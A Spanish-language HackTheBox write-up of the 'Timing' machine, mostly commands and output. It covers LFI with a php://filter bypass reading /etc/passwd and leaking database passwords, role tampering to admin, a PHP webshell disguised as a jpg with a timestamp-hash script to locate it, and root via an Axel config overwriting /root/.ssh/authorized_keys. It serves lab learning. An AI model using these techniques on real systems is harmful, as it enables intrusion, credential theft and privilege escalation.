~rek2/Hispagatos-wiki

#Hackthebox - Maquina - Timing - Dificultad - Media

  • Esto no es para que se copie, es para ir aprendiendo seguro que hay otras maneras de hacer estas maquinas

  • la idea es demostrar como hacerlas solo con software etico que respeta la hacker etica, vamos sin usar BURP y otro software cerrado

  • y crear nuestrar propias herramientas, etc etc.

  • Para cuestiones y aprender contactar en Matrix con @rek2:hispagatos.org

  • canal #hackthebox:hispagatos.org


#Empezamos
  • Poner timing.htb en /etc/hosts
#El tipico reconocimiento de puertos etc
nmap -p- -sV -sC -v -oA enum --min-rate 4500 --max-rtt-timeout 1500ms --open timing.htb 
  • mirar http en puerto 80
  • solo hay para credenciales... vamos a hacer un gobuster antes de un bruteforce no sea que tenga partes que puedan bypass el login etc.
gobuster dir -u http://timing.htb -x php -w /home/rek2/seclists/Discovery/Web-Content/raft-small-words.txt
  • Algunos de los resultados, casi todos son redireciones asi que pongo los primeros solo
/.html                (Status: 403) [Size: 275]
/.php                 (Status: 403) [Size: 275]
/images               (Status: 301) [Size: 309] [--> http://timing.htb/images/]
/.html.php            (Status: 403) [Size: 275]
/login.php            (Status: 200) [Size: 5609]
/js                   (Status: 301) [Size: 305] [--> http://timing.htb/js/]
/index.php            (Status: 302) [Size: 0] [--> ./login.php]
/css                  (Status: 301) [Size: 306] [--> http://timing.htb/css/]
/.htm                 (Status: 403) [Size: 275]
/.htm.php             (Status: 403) [Size: 275]
/profile.php          (Status: 302) [Size: 0] [--> ./login.php]
/logout.php           (Status: 302) [Size: 0] [--> ./login.php]
/image.php            (Status: 200) [Size: 0]
/upload.php           (Status: 302) [Size: 0] [--> ./login.php]
/header.php           (Status: 302) [Size: 0] [--> ./login.php]
/footer.php           (Status: 200) [Size: 3937]
/.                    (Status: 302) [Size: 0] [--> ./login.php]
  • Me parece interesante algunos cosas como /db_conn.php y /images/
  • asi que vamos a ver que hay en images
gobuster dir -u http://timing.htb/images/ -x php -w /home/rek2/seclists/Discovery/Web-Content/raft-small-words.txt
  • y aqui encontramos
/uploads              (Status: 301) [Size: 317] [--> http://timing.htb/images/uploads/]
#LFI Local file Inclusion
  • Pues supuestamente seguro que es donde se meten los ficheros que se suben con uploads.php
  • voy a investigar diferentes metodos en image.php a ver que sale
  • despues de unos 10-20 m tratando un poco de todo tipico en web hacking cuentro que img= es vulnerable a LFI
ffuf -u 'http://timing.htb/image.php?img=FUZZ' -w /home/rek2/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt 

ejemplo de resultando, como veis status 200 y size 25 por lo que devuelve contenido

/etc/httpd/logs/error.log [Status: 200, Size: 25, Words: 3, Lines: 1, Duration: 3057ms]
/etc/ftpchroot          [Status: 200, Size: 25, Words: 3, Lines: 1, Duration: 3058ms]
/etc/groups             [Status: 200, Size: 25, Words: 3, Lines: 1, Duration: 3059ms]
/etc/grub.conf          [Status: 200, Size: 25, Words: 3, Lines: 1, Duration: 3059ms]
/etc/passwd             [Status: 200, Size: 25, Words: 3, Lines: 1, Duration: 3060ms]
/etc/ftpaccess          [Status: 200, Size: 25, Words: 3, Lines: 1, Duration: 3060ms]
/etc/cron.allow         [Status: 200, Size: 25, Words: 3, Lines: 1, Duration: 3061ms]
/etc/hosts              [Status: 200, Size: 25, Words: 3, Lines: 1, Duration: 3061ms]
/etc/lighttpd.conf      [Status: 200, Size: 25, Words: 3, Lines: 1, Duration: 4061ms]
/etc/fstab              [Status: 200, Size: 25, Words: 3, Lines: 1, Duration: 4062ms]
/etc/httpd/srm.conf     [Status: 200, Size: 25, Words: 3, Lines: 1, Duration: 4064ms]
/etc/issue              [Status: 200, Size: 25, Words: 3, Lines: 1, Duration: 4065ms]

jajaja despues de un raro peleando con el WAF que es muy gracioso de por si "Hacking attempt detected" :D

mirando PayloadAlltheThings me recuerda a una tecnica para hacer el WAF bypass

#WAF WAF bypass miauuuu

ejemplo:

http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php

basicamente usamos un filtro de php para convertirlo a base64 vamos a ver

    ~/hackthebox/Timing-10.10.11.135 ▓▒░ curl 'http://timing.htb/image.php?img=php://filter/convert.base64-encode/resource=/etc/passwd' | base64 -d
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2152  100  2152    0     0  31607      0 --:--:-- --:--:-- --:--:-- 32119
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
aaron:x:1000:1000:aaron:/home/aaron:/bin/bash
    ~/hackthebox/Timing-10.10.11.135 ▓▒░

vamos a inspeccionar ahora que sabemos de un usuario llamado "aaron" el codigo php de la aplicacion de web

    ~/hackthebox/Timing-10.10.11.135 ▓▒░ curl 'http://timing.htb/image.php?img=php://filter/convert.base64-encode/resource=upload.php' | base64 -d
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1360  100  1360    0     0  19255      0 --:--:-- --:--:-- --:--:-- 19428
<?php
include("admin_auth_check.php");

$upload_dir = "images/uploads/";

if (!file_exists($upload_dir)) {
    mkdir($upload_dir, 0777, true);
}

$file_hash = uniqid();

$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

if (isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if ($check === false) {
        $error = "Invalid file";
    }
}

// Check if file already exists
if (file_exists($target_file)) {
    $error = "Sorry, file already exists.";
}

if ($imageFileType != "jpg") {
    $error = "This extension is not allowed.";
}

if (empty($error)) {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file has been uploaded.";
    } else {
        echo "Error: There was an error uploading your file.";
    }
} else {
    echo "Error: " . $error;
}
?>
  • Vamos a ver:
curl 'http://timing.htb/image.php?img=php://filter/convert.base64-encode/resource=admin_auth_check.php' | base64 -d
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   268  100   268    0     0   3842      0 --:--:-- --:--:-- --:--:--  3884
<?php

include_once "auth_check.php";

if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
    echo "No permission to access this panel!";
    header('Location: ./index.php');
    die();
}

?>
  • vale ahora tenemos otro que mirar auth_check.php
curl 'http://timing.htb/image.php?img=php://filter/convert.base64-encode/resource=auth_check.php' | base64 -d  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   508  100   508    0     0   7268      0 --:--:-- --:--:-- --:--:--  7362
<?php

//ini_set('display_errors', '1');
//ini_set('display_startup_errors', '1');
//error_reporting(E_ALL);

// session is valid for 1 hour
ini_set('session.gc_maxlifetime', 3600);
session_set_cookie_params(3600);

session_start();
if (!isset($_SESSION['userid']) && strpos($_SERVER['REQUEST_URI'], "login.php") === false) {
    header('Location: ./login.php');
    die();
}
?>
  • y asi vamos mirando todos, hasta que damos con db_conn.php el que vi al principio
curl 'http://timing.htb/image.php?img=php://filter/convert.base64-encode/resource=db_conn.php' | base64 -d
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   124  100   124    0     0   1783      0 --:--:-- --:--:-- --:--:--  1797
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
#Operacion subir el jpg en tiempo record
  • ahora vamos a ver si podemos entrar tambien a la aplicacion, usemos el usuario aaron que encontramos antes y

  • despues de unos intentos, resulta que se puede entrar con aaron como login/pass :) asi que no hace falta bruteforce delicado ni nada.

  • arriba tambien vimos que si tienes role 1 asume que eres administrador. aaron tiene el rol de 2 asi que vamos a sacar zap para interceptar

  • y cambiar el rol a 1 a ver que pasa.

  • vale cuando actualizamos nuestra informacion en la DB desde la aplicacion de web, interceptamos y ponemos al final "&role=1" para que lo cambie de 2 a 1ahora vemos que somos Admin y tenemos un menu nuevo donde podemos subir un fichero... vamos a ver el codigo php de upload.php de antes para ver que podemos subir para una revshell etc.

  • Los archivos cargados se moverán al directorio "/images/uploads/". La extensión del archivo debe set tipo "jpg" y, al cargarla el nombre del archivo se cambiará a un MD5. La lógica detrás de la creación de este MD5 es que pilla dos cosas como entrada, "$file_hash" y "time())" y luego agrega el nombre de archivo base al archivo cargado a ese hash.

  • Según la documentacion de PHP, la función uniqid() genera una ID única basada en microsegundos (el tiempo actual en microsegundos). En PHP, las comillas simples (') y las comillas dobles (") tienen diferentes significados e interpretaciones. Las cadenas entre comillas simples mostrarán las cosas casi completamente "como están". Con las comillas dobles las cadenas mostrarán una gran cantidad de caracteres de escape (incluido algunas expresiones regulares), y se evaluarán las variables de las cadenas. El time()) también se utiliza como factor para generar MD5. Está usando el tiempo actual en segundos, esto significa que cada segundo obtendrá un nuevo hash.

  • Por lo que necesitamos hacer coincidir el tiempo que sale al hacer el upload, para obtener el hash md5 correcto.

  • Vamos a ver la hora en la maquina remota

nmap -p80 --script http-date timing.htb
  • crear un fichero con RCE en una jpg
echo '<?php system($_GET[cmd]);?>' > rek2.jpg
cat rek2.jpg
<?php system($_GET[cmd]);?>
  • y ahora abrimos una shell de php localmente para que nos de cada segundo un codigo md5 para saber mas o menos el nombre del rek2.jpg que va a usar la aplicacion para renombras nuestro fichero con el RCE.
while (true){echo date("D M j G:i:s T Y"); echo " = " ; echo md5('$file_hash' .
time());echo "\n";sleep(1);}
  • algo asi:
   ~/hackthebox/Timing-10.10.11.135 ▓▒░ php -a                                                                                 ░▒▓ ✔  at 19:14:32 
Interactive shell

php > while (true){echo date("D M j G:i:s T Y"); echo " = " ; echo md5('$file_hash' .
time());echo "\n";sleep(1);}
Wed Jan 5 18:17:08 UTC 2022 = d1097cdd522b6fa0d489d8f4cc424294
Wed Jan 5 18:17:09 UTC 2022 = 9bcb024055cf2090959e1f7f48166394
Wed Jan 5 18:17:10 UTC 2022 = dc26efb823a0a871bca1cdb8ee4f71b6
Wed Jan 5 18:17:11 UTC 2022 = 78c9051c1cfa13d3a2848476f3186573
  • vale pues con el tiempo cambiado y todo, mejor creo un script para poder dejarlo corriendo a la hora que me sale cuando mando el fichero en zap proxy, osea cuando lo interceptas y lo dejas ir a pasos (el upload del fichero rek2.jpg) te saldra en los headers la hora, pues sobre esa hora tiene que general ese codigo md5 del UTC
    ~/ha/Timing-10.10.11.135 ▓▒░ cat check_rce.sh                           ░▒▓ ✔  at 19:55:27 
#!/bin/bash

# rek2
# hacer mas facil saber cual md5 es el bueno

for i in $(awk '{ print $8 }' results); do
	echo "probando ${i}"
	curl "http://timing.htb/image.php?img=images/uploads/${i}_rek2.jpg&cmd=id"
done
probando 0bf8e4558995adced7dcf8f197d8d8e0
probando 171387266e99e525d78fb262022b924c
probando 83762732649d9dc1632a24e089ce83f1
probando a340f30471128a8bd8a7ead12b4b2641
probando d9de5773ee44d78e7dd96836da9a1c93
probando f9b8da3fccbca4b65586a92359cb3fb6
probando a5ccd87d04241aa5056ab4702f710ee2
probando 5b338756ad23b55aae4314e0602b7c71
uid=33(www-data) gid=33(www-data) groups=33(www-data) <--- BINGO
probando 6580498da067ee90cac0e86169405f9b
probando 29055d3ca7133b49e8d22aea2ee11c26
probando e9eac359f8d9a1ef9a65b935ef49a475
probando 90196f014b039342ce212218d0d4c9b9
probando 6c5bea20ea3ad027d0916aedc198b8cb
probando 5dbf5e709e905bd3e510418d5b139ef6
probando 6dd8b68de7760fbe2a97506ba4dec8c8
probando 2078e364da8dfa27c193a1ee070f4a67
probando b8229b3ca21e7740103f5d393e56f01b
probando 09af7df3fd094314e87b7b2e6a42282e
probando 276d95bfb900ddff79730b2d943e33b8
#RCE pero buscando el revshell perdido!
  • vale pues ya lo tenemos :) mucho mas rapido verdad?
  • bueno despues de 10m no me deja hacer un revshell lo blokea iptables creo.. asi que me puse a investigar por el server y encontre algo en opt/
    ~/hackthebox/Timing-10.10.11.135 ▓▒░ curl 'http://timing.htb/image.php?img=images/uploads/5b338756ad23b55aae4314e0602b7c71_rek2.jpg&cmd=ls+-ls+/opt'
total 616
616 -rw-r--r-- 1 root root 627851 Jul 20 22:36 source-files-backup.zip
  • vamos a bajarnoslo a ver que tiene que no sepamos ya de antes.
  • como no podemos asi por que si nos toca ponerlo en el directorio de uploads a ver...
curl 'http://timing.htb/image.php?img=images/uploads/5b338756ad23b55aae4314e0602b7c71_rek2.jpg&cmd=cp+/opt/source-files-backup.zip+/var/www/html/images/uploads/'
   ~/hackthebox/Timing-10.10.11.135 ▓▒░ curl 'http://timing.htb/image.php?img=images/uploads/source-files-backup.zip' --output source-files-backup.zip
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  613k    0  613k    0     0  2361k      0 --:--:-- --:--:-- --:--:-- 2358k
    ~/hackthebox/Timing-10.10.11.135 ▓▒░ file source-files-backup.zip                                                           ░▒▓ ✔  at 20:01:35 
source-files-backup.zip: Zip archive data, at least v1.0 to extract, compression method=store
  • vale ya lo tenemos.
  • y JA JA! un repositorio git...
  • git log y vemos algunos cambios en db_conn
commit 16de2698b5b122c93461298eab730d00273bd83e (HEAD -> master)
Author: grumpy <grumpy@localhost.com>
Date:   Tue Jul 20 22:34:13 2021 +0000

    db_conn updated

commit e4e214696159a25c69812571c8214d2bf8736a3f
Author: grumpy <grumpy@localhost.com>
Date:   Tue Jul 20 22:33:54 2021 +0000

    init
  • corremos una herramienta para ver que sacamos
   ~/ha/Ti/backup  on   master ▓▒░ /usr/bin/gittools-extractor . source                                                   ░▒▓ 1 ✘  at 20:04:30 
###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########
[*] Destination folder does not exist
[*] Creating...
[+] Found commit: 16de2698b5b122c93461298eab730d00273bd83e
[+] Found file: /home/rek2/hackthebox/Timing-10.10.11.135/backup/source/0-16de2698b5b122c93461298eab730d00273bd83e/admin_auth_check.php
[+] Found file: /home/rek2/hackthebox/Timing-10.10.11.135/backup/source/0-16de2698b5b122c93461298eab730d00273bd83e/auth_check.php
[+] Found file: /home/rek2/hackthebox/Timing-10.10.11.135/backup/source/0-16de2698b5b122c93461298eab730d00273bd83e/avatar_uploader.php
[+] Found folder: /home/rek2/hackthebox/Timing-10.10.11.135/backup/source/0-16de2698b5b122c93461298eab730d00273bd83e/css
  • hay mucho mas pero no hace falta pegarlo todo simplemente mirar el comando que he corrido :P
  • vamos a ver que ha cambiado:
    ~/ha/Ti/backup/source  on   master ?1 ▓▒░ diff 0-16de2698b5b122c93461298eab730d00273bd83e 1-e4e214696159a25c69812571c8214d2bf8736a3f
diff --color 0-16de2698b5b122c93461298eab730d00273bd83e/commit-meta.txt 1-e4e214696159a25c69812571c8214d2bf8736a3f/commit-meta.txt
1,4c1,3
< tree dcbc181650833009145874df7da85b4c6d84b2ca
< parent e4e214696159a25c69812571c8214d2bf8736a3f
< author grumpy <grumpy@localhost.com> 1626820453 +0000
< committer grumpy <grumpy@localhost.com> 1626820453 +0000
---
> tree fd7fb62599f9702baeb0abdc42a8a4b68e49ec23
> author grumpy <grumpy@localhost.com> 1626820434 +0000
> committer grumpy <grumpy@localhost.com> 1626820434 +0000
6c5
< db_conn updated
---
> init
Subdirectorios comunes: 0-16de2698b5b122c93461298eab730d00273bd83e/css y 1-e4e214696159a25c69812571c8214d2bf8736a3f/css
diff --color 0-16de2698b5b122c93461298eab730d00273bd83e/db_conn.php 1-e4e214696159a25c69812571c8214d2bf8736a3f/db_conn.php
2c2
< $pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
---
> $pdo = new PDO('mysql:host=localhost;dbname=app', 'root', 'S3cr3t_unGu3ss4bl3_p422w0Rd');
Subdirectorios comunes: 0-16de2698b5b122c93461298eab730d00273bd83e/images y 1-e4e214696159a25c69812571c8214d2bf8736a3f/images
Subdirectorios comunes: 0-16de2698b5b122c93461298eab730d00273bd83e/js y 1-e4e214696159a25c69812571c8214d2bf8736a3f/js
#REVSHELL al poder! y con ssh a otra parte
  • COOKIES! otro password :)

  • vamos a tratar ssh a ver :)

  • YAYAY!!!

   ~/ha/Ti/backup/source  on   master ?1 ▓▒░ ssh aaron@timing.htb                                               ░▒▓ ✔  took 4s   at 20:08:26 
The authenticity of host 'timing.htb (10.10.11.135)' can't be established.
ED25519 key fingerprint is SHA256:l+I6D4WoPXSUZt7KMuKochzDuE9R21TrDSgg9nJcD5I.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'timing.htb' (ED25519) to the list of known hosts.
aaron@timing.htb's password:
aaron@timing:~$ id
uid=1000(aaron) gid=1000(aaron) groups=1000(aaron)
aaron@timing:~$ whoami
aaron
aaron@timing:~$ cat user.txt
d722843f1c24726cd058f651cbe6c997
aaron@timing:~$
  • vale tenemos user.txt
#Buscando a r00t desesperadamente
  • vale ahora a por r00t

  • lo primero como siempre lo facil...

  • y vemos

aaron@timing:~$ sudo -l
Matching Defaults entries for aaron on timing:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User aaron may run the following commands on timing:
    (ALL) NOPASSWD: /usr/bin/netutils
aaron@timing:~$ file /usr/bin/netutils
/usr/bin/netutils: Bourne-Again shell script, ASCII text executable
aaron@timing:~$ cat /usr/bin/netutils
#! /bin/bash
java -jar /root/netutils.jar
  • hmm interesante...

  • lo corremos y tenemos un menu..

  • en el menu lo primero que veo es la opcion ftp o http

  • asi que vamos a ver si puedo subir un fichero.... y SI! podemos.. ademas como usuario root...

  • voy a subir psypy

  • Vemos dos aplicaciones para descargar archivos. la opcion del menu FTP está usando wget y la opcion HTTP utilizan la aplicación Axel.

  • Podemos obtener la versión de la aplicación "Axel" a través de netcat.

#Axel rose esta en la casa
    ~/hackthebox/Timing-10.10.11.135 ▓▒░ sudo nc -lvnp 80                                                                     ░▒▓ 1 ✘  at 20:17:42  
doas (rek2@rek2system) password: 
Connection from 10.10.11.135:39034
GET / HTTP/1.0
Host: 10.10.14.18
Accept: */*
Range: bytes=1-
User-Agent: Axel/2.16.1 (Linux)
  • la version Axel/2.16.1
  • voy a instalar axel para estudiarlo
    ~/hackthebox/Timing-10.10.11.135 ▓▒░ paru -S axel                                                                           ░▒▓ ✔  at 20:20:41 
doas (rek2@rek2system) password:
resolving dependencies...
looking for conflicting packages...

Packages (1) axel-2.17.11-1

Total Download Size:   0.05 MiB
Total Installed Size:  0.13 MiB

:: Proceed with installation? [Y/n] Y
:: Retrieving packages...
 axel-2.17.11-1-x86_64                                            48.9 KiB   207 KiB/s 00:00 [######################################################] 100%
(1/1) checking keys in keyring                                                               [######################################################] 100%
(1/1) checking package integrity                                                             [######################################################] 100%
(1/1) loading package files                                                                  [######################################################] 100%
(1/1) checking for file conflicts                                                            [######################################################] 100%
(1/1) checking available disk space                                                          [######################################################] 100%
:: Processing package changes...
(1/1) installing axel                                                                        [######################################################] 100%
:: Running post-transaction hooks...
(1/1) Arming ConditionNeedsUpdate...
# When downloading a HTTP directory/index page, (like http://localhost/~me/)
# what local filename do we have to store it in?
#
# default_filename = default
  • asi que si NO le damos nombre lo llamara default.. vamos a probar
   ~/hackthebox/Timing-10.10.11.135 ▓▒░ sudo python -m  http.server 80                                                       ░▒▓ 1 ✘  at 20:23:08 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url: http://10.10.14.18/
Initializing download: http://10.10.14.18/
File size: 1069 bytes
Opening output file default <------ AQUI
Server unsupported, starting from scratch with one connection.
Starting download

  • Podemos ver que no le dimos nungun nombre pero algo ha subido por que me sale 1.0 Kilobyte y 200 en el server...
aaron@timing:~$ ls -alh
total 1.2M
drwxr-x--x 6 aaron aaron 4.0K Jan  5 19:30 .
drwxr-xr-x 3 root  root  4.0K Dec  2 09:55 ..
lrwxrwxrwx 1 root  root     9 Oct  5 15:33 .bash_history -> /dev/null
-rw-r--r-- 1 aaron aaron  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 aaron aaron 3.7K Apr  4  2018 .bashrc
drwx------ 2 aaron aaron 4.0K Nov 29 01:34 .cache
-rw-r--r-- 1 root  root  1.1K Jan  5 19:30 default <------- AQUI
drwx------ 3 aaron aaron 4.0K Nov 29 01:34 .gnupg
drwxrwxr-x 3 aaron aaron 4.0K Nov 29 01:34 .local
-rw-r--r-- 1 aaron aaron  807 Apr  4  2018 .profile
-rwxr-xr-x 1 aaron aaron 1.2M Jan  5 19:20 pspy64s
drwxrwxr-x 3 aaron aaron 4.0K Jan  5 19:13 .terminfo
-rw-r----- 1 root  aaron   33 Jan  5 17:07 user.txt
lrwxrwxrwx 1 root  root     9 Oct  5 15:33 .viminfo -> /dev/null
  • subido algo de 1.1K y lo llamo default
  • y si le hacemos cat default vemos que es un listado del directorio local.
#Gato por liebre con authorized!
  • vale vamos a modificar el axelrc, lo bajamos
wget https://raw.githubusercontent.com/FiloSottile/axel/master/axelrc.example
  • le cambiomos default a /root/.ssh/authorized_keys
# When downloading a HTTP directory/index page, (like http://localhost/~me/)
# what local filename do we have to store it in?
#
# default_filename = /root/.ssh/authorized_keys 
  • renombramos a axelrc y lo subimos al directorio de aaron
   ~/ha/Timing-10.10.11.135 ▓▒░ scp axelrc aaron@timing.htb:                                                 ░▒▓ 1 ✘  took 2m 18s   at 20:34:53 
aaron@timing.htb's password:
axelrc
aaron@timing:~$ ls
axelrc  default  pspy64s  user.txt
aaron@timing:~$ mv axelrc .axelrc
aaron@timing:~$
  • ahora si subimos algo sin nombre.. lo pondra el root como una llave de ssh autorizada :)
  • vamos a preparar el ataque considerando que lo que suve siempre lo hace en formato html
   ~/hackthebox/Timing-10.10.11.135 ▓▒░ cp ~/.ssh/id_rsa.pub index.html                                                        ░▒▓ ✔  at 20:37:30 
    ~/hackthebox/Timing-10.10.11.135 ▓▒░ cat index.html                                                                         ░▒▓ ✔  at 20:37:58 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3V3TyquS6xfjQzy3wWyEqaHLpXUzt3wXb3oNcUmYyS2CRUjF4ZHAvxD5zeT5EvK5rr51ZqrHitMly9+2yDQDnIoiRRpQKvw7frlz3rNnFMKrplqI8/7v5nsKF+L2VlUqISEasuIEwFO2pXDlOiucCxS7mxBooeyAQGdBUCgnzRQoCjxInZSCCT0qof2PK2PX8g1Ra0RNsA7YSdJ15nUh2D39HcDoMqfNluPF2ir0eIs7JkA707qpikm9TQEmVAIQ2FWJ5papiYC0YNOxo6KDq3fGllW5dmVaOchos77FvlSFmvxV0UbjUamcCdE8Nsfdk85oJP/QhjRO2iL/BYsdrpMe+HzGGlraJfd354tdMR3jWlnH4hAgpCpzkfNyVh5OZ4Vbzg8IWLPEcrblzX19lPhT+Svfl6FNSLS0f7c5j7zxEGA2cHPo7RzZopviuqZA+/fgIXRPWZtmhV13R32ptm9f3IqpLWrYsNlQ2zXqydKxG8XsVKrk2qAngSgF/peM= rek2@rek2system
  • abre web local y..
aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url: http://10.10.14.18/
Initializing download: http://10.10.14.18/
File size: 569 bytes
Opening output file /root/.ssh/authorized_keys
Server unsupported, starting from scratch with one connection.
Starting download


Downloaded 569 byte in 0 seconds. (5.54 KB/s)

netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >>
  • vemos que lo puso en su sitio :D
   ~/hackthebox/Timing-10.10.11.135 ▓▒░ ssh root@timing.htb                                                                ░▒▓ 255 ✘  at 20:40:05 
root@timing:~# whoami
root
root@timing:~# id
uid=0(root) gid=0(root) groups=0(root)
root@timing:~# cat root.txt
b2cb3a30e4e8c029d381bce38ea542f6
  • y como un gato por su casa tenemos r00t :)

#HAPPY HACKING!!
  • ReK2

About this wiki

commit 16529b9662cf5e76f0308601451a191f299cb0b5
Author: rek2 <rek2@hispagatos.org>
Date:   2022-01-24T06:51:33+01:00

subir writeup rapido de AdmirerToo
Clone this wiki
https://git.sr.ht/~rek2/Hispagatos-wiki (read-only)
git@git.sr.ht:~rek2/Hispagatos-wiki (read/write)